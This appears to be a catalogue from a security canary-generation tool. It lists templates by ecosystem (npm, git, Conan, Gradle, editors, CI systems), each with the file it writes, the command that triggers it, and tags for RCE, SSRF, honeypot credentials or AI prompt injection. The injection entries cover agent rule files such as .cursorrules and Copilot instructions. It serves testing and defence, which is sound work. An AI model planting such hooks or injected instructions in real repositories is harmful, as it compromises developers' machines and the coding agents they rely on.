 - **Trigger:** Use OpenAI Codex agent in repository (AGENTS.override.md takes precedence)
 - **Tags:** ai , prompt-injection , codex , openai
-

commitlint

commitlint-config

RCE via commitlint.config.js execution

- **Output:** commitlint.config.js
 - **Trigger:** git commit (with husky) or npx commitlint
 - **Tags:** rce , git , commitlint , hooks , javascript
-

composer

composer-combined

Combined RCE + SSRF in single composer.json

- **Output:** composer.json
- **Trigger:** composer install (triggers RCE via scripts, SSRF via repo)
- **Tags:** rce , ssrf , package-manager , composer , php , combined

composer-repo

SSRF via custom repository URL

- **Output:** composer.json
- **Trigger:** composer install
- **Tags:** ssrf , package-manager , composer , php

composer-script

RCE via composer script hook

- **Output:** composer.json
 - **Trigger:** composer install
 - **Tags:** rce , package-manager , composer , php
-

conan

conan-combined

Combined RCE + SSRF via conanfile.py, remotes, and hooks

- **Output:** conanfile.py
- **Trigger:** conan install . (triggers RCE via Python, SSRF via remotes)
- **Tags:** rce , ssrf , package-manager , conan , cpp , python , combined

conan-conanfile-rce

RCE via conanfile.py Python execution

- **Output:** conanfile.py
- **Trigger:** conan install . (triggers RCE via Python execution)
- **Tags:** rce , package-manager , conan , cpp , python

conan-hooks-rce

RCE via Conan hooks Python execution

- **Output:** hooks/canary_hook.py
- **Trigger:** conan export . (triggers hook execution)
- **Tags:** rce , package-manager , conan , cpp , python

conan-lockfile-ssrf

SSRF via Conan lockfile remote references

- **Output:** conan.lock
- **Trigger:** conan install . --lockfile=conan.lock
- **Tags:** ssrf , package-manager , conan , cpp

conan-profile-rce

RCE via Conan profile hooks and environment

- **Output:** profiles/canary
- **Trigger:** conan install . -pr profiles/canary
- **Tags:** rce , package-manager , conan , cpp , config

conan-remote-ssrf

SSRF via Conan custom remote URLs

- **Output:** remotes.json
- **Trigger:** conan install . (fetches from custom remotes)
- **Tags:** ssrf , package-manager , conan , cpp , config

conda

conda-activate

RCE via Conda activate.d scripts

- **Output:** etc/conda/activate.d/canary.sh
- **Trigger:** conda activate <env>
- **Tags:** rce , package-manager , python , conda , shell

conda-build

RCE via conda-build recipe scripts

- **Output:** conda-recipe/meta.yaml
- **Trigger:** conda-build conda-recipe/
- **Tags:** rce , package-manager , python , conda , build

conda-channel-ssrf

SSRF via Conda custom channel URL

- **Output:** .condarc
- **Trigger:** conda search or conda install
- **Tags:** ssrf , package-manager , python , conda

conda-environment

RCE via Conda environment.yml pip dependencies

- **Output:** environment.yml
- **Trigger:** conda env create -f environment.yml
- **Tags:** rce , package-manager , python , conda

conftest

conftest-rego

RCE via Conftest custom Rego policy with http.send

- **Output:** policy/canary.rego
- **Trigger:** conftest test .
- **Tags:** rce , ssrf , policy , conftest , rego , security-tool

copilot

copilot-instructions

AI prompt injection via .github/copilot-instructions.md

- **Output:** .github/copilot-instructions.md
- **Trigger:** Use GitHub Copilot in repository

- **Tags:** ai , prompt-injection , github , copilot
-

cursor

cursor-rules

AI prompt injection via .cursorrules

- **Output:** .cursorrules
- **Trigger:** Open project in Cursor IDE
- **Tags:** ai , prompt-injection , editor , cursor

cursor-settings

AI prompt injection via .cursor/settings.json

- **Output:** .cursor/settings.json
 - **Trigger:** Open project in Cursor IDE
 - **Tags:** ai , prompt-injection , editor , cursor
-

dagger

dagger-config

RCE via dagger.json module configuration

- **Output:** dagger.json
- **Trigger:** dagger call or dagger run
- **Tags:** rce , cicd , dagger

dagger-module

RCE via Dagger module initialization

- **Output:** main.go
 - **Trigger:** dagger call build
 - **Tags:** rce , cicd , dagger , go
-

deno

deno-config

RCE via deno.json task

- **Output:** deno.json
- **Trigger:** deno task build
- **Tags:** rce , package-manager , deno , javascript , typescript

deno-import-map

SSRF via deno import_map.json

- **Output:** import_map.json
 - **Trigger:** deno run --import-map=import_map.json main.ts
 - **Tags:** ssrf , package-manager , deno , javascript , typescript
-

dependabot

dependabot-ssrf

SSRF via Dependabot private registry configuration

- **Output:** .github/dependabot.yml
 - **Trigger:** dependabot update
 - **Tags:** ssrf , sca , dependabot , github , security-tool
-

dependency-check

dependency-check-combined

Combined RCE + SSRF via OWASP Dependency-Check

- **Output:** dependency-check.properties

- **Trigger:** `dependency-check --scan .` (triggers RCE + SSRF)
- **Tags:** `rce`, `ssrf`, `sca`, `owasp`, `dependency-check`, `security-tool`, `combined`

dependency-check-rce

RCE via OWASP Dependency-Check suppression file XXE

- **Output:** `dependency-check-suppression.xml`
- **Trigger:** `dependency-check --scan . --suppression dependency-check-suppression.xml`
- **Tags:** `rce`, `sca`, `owasp`, `dependency-check`, `security-tool`

dependency-check-ssrf

Blind SSRF via OWASP Dependency-Check NVD/data feed URL

- **Output:** `dependency-check-ssrf.properties`
 - **Trigger:** `dependency-check --scan . --propertyfile dependency-check-ssrf.properties`
 - **Tags:** `blind-ssrf`, `sca`, `owasp`, `dependency-check`, `security-tool`
-

detect-secrets

detect-secrets-plugin

RCE via detect-secrets custom plugin

- **Output:** `.secrets.baseline`
 - **Trigger:** `detect-secrets scan`
 - **Tags:** `rce`, `secret-scanner`, `detect-secrets`, `python`, `security-tool`
-

devcontainer

devcontainer-postcreate

RCE via devcontainer postCreateCommand

- **Output:** `.devcontainer/devcontainer.json`
 - **Trigger:** Open in VS Code Dev Container / GitHub Codespaces
 - **Tags:** `rce`, `container`, `devcontainer`, `vscode`, `codespaces`
-

docker

docker-build

RCE via Dockerfile RUN command

- **Output:** `Dockerfile`
- **Trigger:** `docker build .`
- **Tags:** `rce`, `container`, `docker`

docker-compose

RCE via docker-compose.yml

- **Output:** `docker-compose.yml`
 - **Trigger:** `docker-compose up`
 - **Tags:** `rce`, `container`, `docker`, `compose`
-

dotnet

dotnet-build-props

RCE via Directory.Build.props

- **Output:** `Directory.Build.props`
 - **Trigger:** `dotnet build`
 - **Tags:** `rce`, `build-system`, `dotnet`, `csharp`
-

drone

drone-drone

RCE via .drone.yml

- **Output:** `.drone.yml`
 - **Trigger:** Push to repository with Drone CI enabled
 - **Tags:** `rce`, `cicd`, `drone`
-

elixir

elixir-alias

RCE via Mix alias command execution

- **Output:** `mix.exs`
- **Trigger:** `mix test`, `mix setup`, or `mix canary` (triggers alias functions)
- **Tags:** `rce`, `package-manager`, `elixir`, `mix`

elixir-code-eval

RCE via Code.eval_file in mix.exs

- **Output:** `mix.exs`
- **Trigger:** Any mix command (`Code.eval_file` runs during `mix.exs` load)
- **Tags:** `rce`, `package-manager`, `elixir`, `mix`

elixir-combined

Combined RCE via mix.exs + config + compiler + task + lock + SSRF

- **Output:** `mix.exs`
- **Trigger:** `mix deps.get`, `mix compile`, `mix test`, `mix setup`, or any mix command
- **Tags:** `rce`, `ssrf`, `package-manager`, `elixir`, `mix`, `combined`

elixir-compiler

RCE via custom Mix compiler

- **Output:** `mix.exs`
- **Trigger:** `mix compile` (runs custom compiler)
- **Tags:** `rce`, `package-manager`, `elixir`, `mix`

elixir-config

RCE via Elixir config.exs compile-time execution

- **Output:** `mix.exs`
- **Trigger:** `mix compile` (`config.exs`) or application start (`runtime.exs`)
- **Tags:** `rce`, `package-manager`, `elixir`, `mix`, `config`

elixir-deps-compile

RCE via Mix dependency compilation hooks

- **Output:** `mix.exs`
- **Trigger:** `mix compile` (application/0 callback executes)
- **Tags:** `rce`, `package-manager`, `elixir`, `mix`

elixir-deps-git

SSRF via Mix dependency git source URLs

- **Output:** `mix.exs`
- **Trigger:** `mix deps.get` (clones from git URLs)
- **Tags:** `ssrf`, `package-manager`, `elixir`, `mix`

elixir-hex-config

SSRF via Hex package manager mirror configuration

- **Output:** `.hex`
- **Trigger:** `mix deps.get` (when `HEX_MIRROR` is configured)
- **Tags:** `ssrf`, `package-manager`, `elixir`, `mix`, `hex`

elixir-lock

SSRF via crafted mix.lock dependency sources

- **Output:** `mix.lock`
- **Trigger:** `mix deps.get` (uses lockfile source URLs)
- **Tags:** `ssrf`, `package-manager`, `elixir`, `mix`

elixir-mix-exs

RCE via Elixir mix.exs compile-time code execution

- **Output:** mix.exs
- **Trigger:** mix deps.get, mix compile, mix test, or any mix command
- **Tags:** rce , package-manager , elixir , mix

elixir-task

RCE via custom Mix task execution

- **Output:** mix.exs
 - **Trigger:** mix setup (executes custom task)
 - **Tags:** rce , package-manager , elixir , mix
-

env

env-development

SSRF via environment variable URLs in .env.development

- **Output:** .env.development
- **Trigger:** Application startup (NODE_ENV=development)
- **Tags:** ssrf , env , config

env-env

SSRF via environment variable URLs in .env

- **Output:** .env
- **Trigger:** Application startup (reads .env)
- **Tags:** ssrf , env , config

env-example

SSRF via .env.example (copied by developers)

- **Output:** .env.example
- **Trigger:** Developer copies to .env and runs application
- **Tags:** ssrf , env , config

env-local

SSRF via environment variable URLs in .env.local

- **Output:** .env.local
- **Trigger:** Application startup (reads .env.local)
- **Tags:** ssrf , env , config

env-production

SSRF via environment variable URLs in .env.production

- **Output:** .env.production
 - **Trigger:** Application startup (NODE_ENV=production)
 - **Tags:** ssrf , env , config
-

envrc

envrc-direnv

RCE/SSRF via .envrc (direnv)

- **Output:** .envrc
 - **Trigger:** cd into directory (with direnv allowed)
 - **Tags:** rce , ssrf , env , direnv , shell
-

esbuild

esbuild-config

RCE via esbuild.config.js execution

- **Output:** esbuild.config.js
- **Trigger:** node esbuild.config.js

- **Tags:** rce , bundler , esbuild , javascript
-

eslint

eslint-config

RCE via JavaScript execution in .eslintrc.js

- **Output:** .eslintrc.js
 - **Trigger:** eslint .
 - **Tags:** rce , linter , eslint , javascript
-

fastlane

fastlane-fastfile

RCE via Fastfile (Ruby execution)

- **Output:** fastlane/Fastfile
- **Trigger:** fastlane build
- **Tags:** rce , cicd , fastlane , ios , android , ruby

fastlane-pluginfile

RCE via Pluginfile (Ruby execution)

- **Output:** fastlane/Pluginfile
 - **Trigger:** fastlane <any lane>
 - **Tags:** rce , cicd , fastlane , ios , android , ruby
-

gatsby

gatsby-config

RCE via gatsby-config.js execution

- **Output:** gatsby-config.js
- **Trigger:** gatsby develop, gatsby build, or npx gatsby
- **Tags:** rce , bundler , gatsby , javascript , framework

gatsby-node

RCE via gatsby-node.js execution

- **Output:** gatsby-node.js
 - **Trigger:** gatsby develop, gatsby build, or npx gatsby
 - **Tags:** rce , bundler , gatsby , javascript , framework
-

gcloud

gcloud-cloudbuild

RCE via cloudbuild.yaml

- **Output:** cloudbuild.yaml
 - **Trigger:** Push to Cloud Source Repositories or GitHub trigger
 - **Tags:** rce , cicd , gcloud , google
-

git

git-config-combined

Combined RCE via .git/config (fsmonitor + sshCommand)

- **Output:** .git/config
- **Trigger:** git status/fetch/pull/push (multiple RCE vectors)
- **Tags:** rce , git , config , cve , combined

git-embedded-bare-repo

RCE via embedded bare Git repo config (core.fsmonitor)

- **Output:** embedded-bare-repo/config

- **Trigger:** Any git command run inside embedded-bare-repo/ (e.g., git status)
- **Tags:** rce , git , config
- **Exploitation:** A malicious repo can embed a bare Git repository as a subdirectory; tools that automatically run git in subdirectories (shell prompts, IDEs, editors) may execute attacker-controlled config like core.fsmonitor when that directory is visited.
- **References:**
 - <https://lwn.net/Articles/892755/>

git-fsmonitor

RCE via core.fsmonitor in .git/config (CVE-2022-24765)

- **Output:** .git/config-fsmonitor
- **Trigger:** Various git operations
- **Tags:** rce , git , config , cve

git-lfs

Blind SSRF via custom LFS server URL

- **Output:** .lfsconfig
- **Trigger:** git lfs pull
- **Tags:** blind-ssrf , git , lfs

git-post-checkout

RCE via git post-checkout hook

- **Output:** .git/hooks/post-checkout
- **Trigger:** git checkout / git clone
- **Tags:** rce , git , hooks

git-pre-commit

RCE via git pre-commit hook

- **Output:** .git/hooks/pre-commit
- **Trigger:** git commit
- **Tags:** rce , git , hooks

git-pre-push

RCE via git pre-push hook

- **Output:** .git/hooks/pre-push
- **Trigger:** git push
- **Tags:** rce , git , hooks

git-sshcommand

RCE via core.sshCommand in .git/config

- **Output:** .git/config-sshcommand
- **Trigger:** git fetch/pull/push (SSH remote)
- **Tags:** rce , git , config

git-submodule

Blind SSRF via malicious submodule URL

- **Output:** .gitmodules
- **Trigger:** git clone --recurse-submodules
- **Tags:** blind-ssrf , git , submodule

github

github-actions

RCE via GitHub Actions workflow

- **Output:** .github/workflows/build.yml
- **Trigger:** Push / PR to repository
- **Tags:** rce , cicd , github , actions

gitlab

gitlab-ci

RCE via GitLab CI pipeline

- **Output:** `.gitlab-ci.yml`
 - **Trigger:** `Push / PR to repository`
 - **Tags:** `rce`, `cicd`, `gitlab`
-

gitleaks

gitleaks-ssrf

Blind SSRF via Gitleaks config with external allowlist URL

- **Output:** `.gitleaks.toml`
 - **Trigger:** `gitleaks detect`
 - **Tags:** `blind-ssrf`, `secret-scanner`, `gitleaks`, `security-tool`
-

gitpod

gitpod-tasks

RCE via Gitpod tasks

- **Output:** `.gitpod.yml`
 - **Trigger:** `Open in Gitpod`
 - **Tags:** `rce`, `cloud`, `gitpod`
-

go

go-generate

RCE via go:generate directive

- **Output:** `generate.go`
- **Trigger:** `go generate`
- **Tags:** `rce`, `package-manager`, `go`, `golang`

go-mod-replace

SSRF via go.mod replace directive

- **Output:** `go.mod`
- **Trigger:** `go build` or `go mod download`
- **Tags:** `ssrf`, `package-manager`, `go`, `golang`

go-private-module

SSRF via Go private module fetch

- **Output:** `go-private.mod`
- **Trigger:** `GOPRIVATE=* go build`
- **Tags:** `ssrf`, `package-manager`, `go`, `golang`

go-workspace

SSRF via go.work workspace file

- **Output:** `go.work`
 - **Trigger:** `go work sync` or `go build`
 - **Tags:** `ssrf`, `package-manager`, `go`, `golang`
-

gradle

gradle-build

RCE via Groovy code in build.gradle

- **Output:** `build.gradle`
 - **Trigger:** `gradle build`
 - **Tags:** `rce`, `build-system`, `gradle`, `java`, `groovy`
-

groovy

groovy-grab

SSRF via @Grab annotation dependency resolution

- **Output:** `script.groovy`
- **Trigger:** `groovy script.groovy` (or any Groovy parser/compiler)
- **Tags:** `ssrf` , `groovy` , `jvm` , `dependency`

groovy-grape-config

SSRF via Grape repository configuration

- **Output:** `.groovy/grapeConfig.xml`
- **Trigger:** `groovy script.groovy` (with any `@Grab` annotation)
- **Tags:** `ssrf` , `groovy` , `jvm` , `config`

groovy-jenkins-shared-lib

RCE via Jenkins shared library auto-execution

- **Output:** `vars/canaryStep.groovy`
- **Trigger:** Jenkins pipeline with `@Library` annotation
- **Tags:** `rce` , `groovy` , `jenkins` , `ci`

groovy-static-init

RCE via static initializer execution on class load

- **Output:** `Config.groovy`
 - **Trigger:** `groovyc Config.groovy` (or IDE class loading)
 - **Tags:** `rce` , `groovy` , `jvm`
-

grype

grype-anchore-ssrf

Blind SSRF via Grype custom Anchore database URL

- **Output:** `.grype/config.yaml`
- **Trigger:** `grype .`
- **Tags:** `blind-ssrf` , `security-scanner` , `grype` , `anchore` , `container-scanner` , `security-tool`

grype-ssrf

Blind SSRF via Grype custom database URL

- **Output:** `.grype.yaml`
 - **Trigger:** `grype .`
 - **Tags:** `blind-ssrf` , `container-scanner` , `grype` , `security-tool`
-

gulp

gulp-babel

RCE via gulpfile.babel.js execution

- **Output:** `gulpfile.babel.js`
- **Trigger:** `gulp` (with `@babel/register`)
- **Tags:** `rce` , `build-system` , `javascript` , `nodejs` , `gulp` , `babel`

gulp-gulpfile

RCE via gulpfile.js execution

- **Output:** `gulpfile.js`
- **Trigger:** `gulp` or `gulp build`
- **Tags:** `rce` , `build-system` , `javascript` , `nodejs` , `gulp`

gulp-typescript

RCE via gulpfile.ts TypeScript execution

- **Output:** `gulpfile.ts`
- **Trigger:** `gulp` (with `ts-node`)
- **Tags:** `rce` , `build-system` , `typescript` , `nodejs` , `gulp`

hadolint

hadolint-ssrf

Blind SSRF via Hadolint trusted registry configuration

- **Output:** `.hadolint.yaml`
 - **Trigger:** `hadolint Dockerfile`
 - **Tags:** `blind-ssrf`, `container-scanner`, `hadolint`, `dockerfile`, `security-tool`
-

helm

helm-chart

RCE via Helm chart hooks

- **Output:** `Chart.yaml`
- **Trigger:** `helm install`, `helm upgrade`, or `helm template`
- **Tags:** `rce`, `container`, `helm`, `kubernetes`

helm-ssrf

SSRF via Helm chart repository

- **Output:** `Chart-ssrf.yaml`
 - **Trigger:** `helm dependency update` or `helm dependency build`
 - **Tags:** `ssrf`, `container`, `helm`, `kubernetes`
-

honeypot

honeypot-aws

Honeypot AWS credentials file

- **Output:** `.aws/credentials`
- **Trigger:** `AWS SDK` reads credentials
- **Tags:** `honeypot`, `credentials`, `aws`

honeypot-docker

Honeypot Docker registry credentials

- **Output:** `.docker/config.json`
- **Trigger:** `Docker` pulls from registry
- **Tags:** `honeypot`, `credentials`, `docker`

honeypot-github

Honeypot GitHub token in URL

- **Output:** `token.txt`
- **Trigger:** Token is extracted and URL is accessed
- **Tags:** `honeypot`, `credentials`, `github`

honeypot-netrc

Honeypot .netrc credentials

- **Output:** `.netrc`
 - **Trigger:** `curl/git` reads `.netrc`
 - **Tags:** `honeypot`, `credentials`, `netrc`
-

horusec

horusec-combined

Combined SSRF + RCE via Horusec config and custom rules

- **Output:** `horusec-config.json`
 - **Trigger:** `horusec start`
 - **Tags:** `rce`, `ssrf`, `security-scanner`, `horusec`, `sast`, `security-tool`, `combined`
-

husky

husky-precommit

RCE via Husky pre-commit hook

- **Output:** .husky/pre-commit
 - **Trigger:** git commit
 - **Tags:** rce , git , husky , javascript
-

javascript

javascript-babel-config

RCE via babel.config.js execution

- **Output:** babel.config.js
- **Trigger:** babel, webpack, jest, or any tool using Babel
- **Tags:** rce , javascript , babel , config , build-system

javascript-esm-init

RCE via ESM module initialization

- **Output:** canary.mjs
- **Trigger:** import './canary.mjs' or dynamic import()
- **Tags:** rce , javascript , esm , module

javascript-index-entrypoint

RCE via index.js module initialization

- **Output:** index.js
- **Trigger:** require('./') or import from any code that imports this module
- **Tags:** rce , javascript , module , entrypoint

javascript-lint-staged-config

RCE via lint-staged.config.js execution

- **Output:** lint-staged.config.js
- **Trigger:** lint-staged, git commit with husky, or manual lint-staged run
- **Tags:** rce , javascript , lint-staged , git , config

javascript-postcss-config

RCE via postcss.config.js execution

- **Output:** postcss.config.js
- **Trigger:** postcss, webpack with postcss-loader, or Vite/Next.js builds
- **Tags:** rce , javascript , postcss , css , config

javascript-semantic-release-config

RCE via release.config.js execution

- **Output:** release.config.js
- **Trigger:** semantic-release or npx semantic-release
- **Tags:** rce , javascript , semantic-release , ci , config

javascript-tailwind-config

RCE via tailwind.config.js execution

- **Output:** tailwind.config.js
 - **Trigger:** tailwindcss, postcss with Tailwind, or any build using Tailwind
 - **Tags:** rce , javascript , tailwind , css , config
-

jenkins

jenkins-pipeline

RCE via Jenkinsfile pipeline

- **Output:** Jenkinsfile
- **Trigger:** Push / PR to repository
- **Tags:** rce , cicd , jenkins

jest

jest-config

RCE via jest.config.js execution

- **Output:** jest.config.js
- **Trigger:** npm test or jest
- **Tags:** rce , testing , jest , javascript

jest-setup

RCE via jest.setup.js execution

- **Output:** jest.setup.js
 - **Trigger:** npm test or jest
 - **Tags:** rce , testing , jest , javascript
-

jetbrains

jetbrains-external-tools

RCE via JetBrains external tools configuration

- **Output:** .idea/tools/External Tools.xml
- **Trigger:** Open project in JetBrains IDE and run external tool
- **Tags:** rce , editor , jetbrains , ide

jetbrains-file-watcher

RCE via JetBrains file watcher

- **Output:** .idea/watcherTasks.xml
- **Trigger:** Modify .js file in JetBrains IDE
- **Tags:** rce , editor , jetbrains , ide

jetbrains-run-config

RCE via JetBrains run configuration

- **Output:** .idea/runConfigurations/Build.xml
 - **Trigger:** Run 'Build' configuration in JetBrains IDE
 - **Tags:** rce , editor , jetbrains , ide
-

just

just-justfile

RCE via Justfile task execution

- **Output:** Justfile
 - **Trigger:** just build
 - **Tags:** rce , build-tool , just
-

kics

kics-custom-query

RCE via KICS custom Rego query with http.send

- **Output:** kics-queries/canary/query.rego
 - **Trigger:** kics scan -p .
 - **Tags:** rce , ssrf , iac-scanner , kics , security-tool , rego
-

knex

knex-config

RCE via knexfile.js execution

- **Output:** knexfile.js
- **Trigger:** knex migrate:latest or npx knex

- **Tags:** rce , database , knex , javascript

knex-migration

RCE via Knex migration execution

- **Output:** migrations/20240101000000_setup.js
 - **Trigger:** knex migrate:latest or npx knex migrate:latest
 - **Tags:** rce , database , knex , javascript
-

kotlin

kotlin-android

RCE via Kotlin Android build.gradle.kts

- **Output:** app/build.gradle.kts
- **Trigger:** gradle build, gradle assembleDebug, or Android Studio project import
- **Tags:** rce , build-system , kotlin , gradle , android

kotlin-build-gradle-kts

RCE via Kotlin DSL build.gradle.kts

- **Output:** build.gradle.kts
- **Trigger:** gradle build, gradle tasks, or opening project in IDE
- **Tags:** rce , build-system , kotlin , gradle , kts

kotlin-buildsrc

RCE via buildSrc precompiled Kotlin plugin

- **Output:** buildSrc/src/main/kotlin/canary-plugin.gradle.kts
- **Trigger:** Any gradle command (buildSrc compiles automatically)
- **Tags:** rce , build-system , kotlin , gradle , buildsrc

kotlin-combined

Combined RCE via build.gradle.kts + settings.gradle.kts + version catalog + SSRF

- **Output:** build.gradle.kts
- **Trigger:** gradle build, gradle tasks, or opening project in IDE
- **Tags:** rce , ssrf , build-system , kotlin , gradle , combined

kotlin-compose-desktop

RCE via Compose Desktop build.gradle.kts

- **Output:** build.gradle.kts
- **Trigger:** gradle build, gradle run, or IDE project import
- **Tags:** rce , build-system , kotlin , gradle , compose

kotlin-init-script

RCE via Gradle init script (init.gradle.kts)

- **Output:** init.gradle.kts
- **Trigger:** Any gradle command when script is in init.d or specified with -I
- **Tags:** rce , build-system , kotlin , gradle , init

kotlin-multiplatform

RCE via Kotlin Multiplatform build configuration

- **Output:** build.gradle.kts
- **Trigger:** gradle build, gradle tasks, or IDE project import
- **Tags:** rce , build-system , kotlin , gradle , multiplatform

kotlin-script

RCE via Kotlin script file (.kts)

- **Output:** canary.main.kts
- **Trigger:** kotlin canary.main.kts or kotlinc -script canary.main.kts
- **Tags:** rce , kotlin , script , kts

kotlin-settings-gradle-kts

RCE via settings.gradle.kts (earliest execution point)

- **Output:** settings.gradle.kts
- **Trigger:** Any gradle command or opening project in IDE
- **Tags:** rce , build-system , kotlin , gradle , kts

kotlin-version-catalog

SSRF via Gradle version catalog (libs.versions.toml)

- **Output:** gradle/libs.versions.toml
 - **Trigger:** gradle build (resolves dependencies from configured repositories)
 - **Tags:** ssrf , build-system , kotlin , gradle , catalog
-

kube-linter

kube-linter-custom-check

RCE via kube-linter custom check plugin

- **Output:** .kube-linter/plugins/canary.go
 - **Trigger:** kube-linter lint .
 - **Tags:** rce , kubernetes , kube-linter , security-tool
-

kubescape

kubescape-combined

Combined Blind SSRF via Kubescape config and custom framework

- **Output:** .kubescape/config.json
- **Trigger:** kubescape scan (triggers multiple SSRF)
- **Tags:** blind-ssrf , kubernetes , kubescape , security-tool , combined

kubescape-framework

Blind SSRF via Kubescape custom framework download

- **Output:** .kubescape/frameworks/canary.json
- **Trigger:** kubescape scan framework canary --config .kubescape/config-framework.json
- **Tags:** blind-ssrf , kubernetes , kubescape , security-tool

kubescape-ssrf

Blind SSRF via Kubescape custom framework URL

- **Output:** .kubescape/config-ssrf.json
 - **Trigger:** kubescape scan --config .kubescape/config-ssrf.json
 - **Tags:** blind-ssrf , kubernetes , kubescape , security-tool
-

kustomize

kustomize-components

SSRF via kustomize remote components fetch

- **Output:** kustomization-components.yaml
- **Trigger:** kustomize build or kubectl kustomize
- **Tags:** ssrf , kubernetes , kustomize , iac

kustomize-helm-chart

SSRF via kustomize Helm chart repository fetch

- **Output:** kustomization-helm.yaml
- **Trigger:** kustomize build --enable-helm
- **Tags:** ssrf , kubernetes , kustomize , helm , iac

kustomize-openapi-schema

SSRF via kustomize OpenAPI schema fetch

- **Output:** kustomization-openapi.yaml
- **Trigger:** kustomize build
- **Tags:** ssrf , kubernetes , kustomize , iac

kustomize-remote-base

SSRF via kustomize remote base fetch

- **Output:** kustomization-base.yaml
- **Trigger:** kustomize build or kubect! kustomize
- **Tags:** ssrf , kubernetes , kustomize , iac

kustomize-remote-resource

SSRF via kustomize remote resource fetch

- **Output:** kustomization.yaml
 - **Trigger:** kustomize build or kubect! kustomize
 - **Tags:** ssrf , kubernetes , kustomize , iac
-

lefthook

lefthook-config

RCE via lefthook.yml execution

- **Output:** lefthook.yml
 - **Trigger:** lefthook install, git commit, or any git hook trigger
 - **Tags:** rce , git , lefthook , hooks
-

lerna

lerna-config

RCE via lerna.json with command hooks

- **Output:** lerna.json
 - **Trigger:** lerna bootstrap or npx lerna bootstrap
 - **Tags:** rce , monorepo , lerna , javascript
-

lint-staged

lint-staged-config

RCE via lint-staged command execution

- **Output:** .lintstagedrc.json
- **Trigger:** npx lint-staged or git commit (with husky)
- **Tags:** rce , git , lint-staged , hooks

lint-staged-package-config

RCE via lint-staged in package.json

- **Output:** package.json
 - **Trigger:** npx lint-staged or git commit (with husky)
 - **Tags:** rce , git , lint-staged , hooks
-

lsp

lsp-ccls

RCE via ccls initialization command

- **Output:** .ccls
- **Trigger:** Open C/C++ project with ccls LSP
- **Tags:** rce , lsp , cpp , ccls

lsp-clangd

RCE via clangd compile commands

- **Output:** .clangd
- **Trigger:** Open C/C++ project with clangd LSP
- **Tags:** rce , lsp , cpp , clangd

lsp-compile-commands

RCE via compile_commands.json

- **Output:** compile_commands.json
- **Trigger:** Open C/C++ project with clangd/ccls LSP
- **Tags:** rce , lsp , cpp , clang

lsp-emacs-dir-locals

RCE via Emacs .dir-locals.el

- **Output:** .dir-locals.el
- **Trigger:** Open project in Emacs (may prompt for safe variables)
- **Tags:** rce , lsp , emacs , editor

lsp-helix

RCE via Helix editor languages.toml

- **Output:** .helix/languages.toml
- **Trigger:** Open project in Helix editor
- **Tags:** rce , lsp , helix , editor

lsp-json-schema

Blind SSRF via JSON \$schema URL

- **Output:** config.json
- **Trigger:** Open JSON file in editor with JSON schema support
- **Tags:** blind-ssrf , lsp , json , schema

lsp-lua-ls

Blind SSRF via Lua language server addon URL

- **Output:** .luarc.json
- **Trigger:** Open Lua project with lua-language-server
- **Tags:** blind-ssrf , lsp , lua , lua-language-server

lsp-nvim-exrc

RCE via Neovim exrc/project config

- **Output:** .nvim.lua
- **Trigger:** Open project in Neovim with exrc enabled
- **Tags:** rce , lsp , neovim , editor

lsp-pyright

Blind SSRF via Pyright typedshd URL

- **Output:** pyrightconfig.json
- **Trigger:** Open Python project in VSCode/Neovim with Pyright
- **Tags:** blind-ssrf , lsp , python , pyright

lsp-rust-analyzer

RCE via rust-analyzer procMacro server

- **Output:** .vscode/settings-rust.json
- **Trigger:** Open Rust project in VSCode with rust-analyzer
- **Tags:** rce , lsp , rust , rust-analyzer

lsp-sourcekit

Blind SSRF via SourceKit-LSP configuration

- **Output:** .sourcekit-lsp/config.json
- **Trigger:** Open Swift project with SourceKit-LSP
- **Tags:** blind-ssrf , lsp , swift , sourcekit

lsp-sublime-lsp

RCE via Sublime Text LSP settings

- **Output:** .sublime-project
- **Trigger:** Open project in Sublime Text with LSP package
- **Tags:** rce , lsp , sublime , editor

lsp-yaml-schema

Blind SSRF via YAML schema URL

- **Output:** lsp-config.yaml
- **Trigger:** Open YAML file in editor with YAML LSP
- **Tags:** blind-ssrf , lsp , yaml , schema

lsp-zed

RCE via Zed editor settings

- **Output:** .zed/settings.json
 - **Trigger:** Open project in Zed editor
 - **Tags:** rce , lsp , zed , editor
-

make

make-all

RCE via default make target

- **Output:** Makefile
 - **Trigger:** make
 - **Tags:** rce , build-system , make
-

maven

maven-pom

RCE via Maven exec plugin in pom.xml

- **Output:** pom.xml
 - **Trigger:** mvn compile
 - **Tags:** rce , build-system , maven , java
-

meson

meson-custom-target

RCE via Meson custom_target() during build

- **Output:** meson-custom.build
- **Trigger:** meson setup builddir && ninja -C builddir
- **Tags:** rce , build-system , meson , c , cpp

meson-run-command

RCE via Meson run_command() during configuration

- **Output:** meson.build
- **Trigger:** meson setup builddir
- **Tags:** rce , build-system , meson , c , cpp

meson-subproject

SSRF via Meson subproject wrap file

- **Output:** meson-wrap.build
 - **Trigger:** meson setup builddir -f meson-wrap.build (fetches wrap dependencies)
 - **Tags:** ssrf , build-system , meson , c , cpp
-

mintlify

mintlify-docs-json

Blind SSRF via docs.json OpenAPI spec fetch

- **Output:** docs.json
- **Trigger:** mintlify dev or Mintlify GitHub app build
- **Tags:** blind-ssrf , docs , mintlify , json

mintlify-mint-json

Blind SSRF via mint.json OpenAPI spec fetch

- **Output:** mint.json
 - **Trigger:** mintlify dev or Mintlify GitHub app build
 - **Tags:** blind-ssrf, docs, mintlify, json
-

mise

mise-config

RCE via mise.toml task hooks

- **Output:** mise.toml
- **Trigger:** mise run build or cd into project directory
- **Tags:** rce, version-manager, mise

mise-local

RCE via .mise.local.toml (user-specific overrides)

- **Output:** .mise.local.toml
 - **Trigger:** mise run setup or cd into project directory
 - **Tags:** rce, version-manager, mise
-

mkdocs

mkdocs-combined

Combined RCE + SSRF in mkdocs.yml

- **Output:** mkdocs.yml
- **Trigger:** mkdocs build or mkdocs serve (triggers RCE + SSRF)
- **Tags:** rce, ssrf, docs, mkdocs, python, combined

mkdocs-config

SSRF via mkdocs.yml custom theme/plugin

- **Output:** mkdocs-ssrf.yml
- **Trigger:** mkdocs build or mkdocs serve
- **Tags:** ssrf, docs, mkdocs, python

mkdocs-hooks

RCE via mkdocs hooks (Python execution)

- **Output:** mkdocs-hooks.yml
 - **Trigger:** mkdocs build or mkdocs serve
 - **Tags:** rce, docs, mkdocs, python
-

nextjs

nextjs-config

RCE via next.config.js execution

- **Output:** next.config.js
 - **Trigger:** next dev, next build, or npx next
 - **Tags:** rce, bundler, nextjs, javascript, framework
-

npm

npm-combined

Combined RCE + SSRF + AI in single package.json

- **Output:** package.json
- **Trigger:** npm install (triggers RCE via scripts, SSRF via dep URL, AI via description)
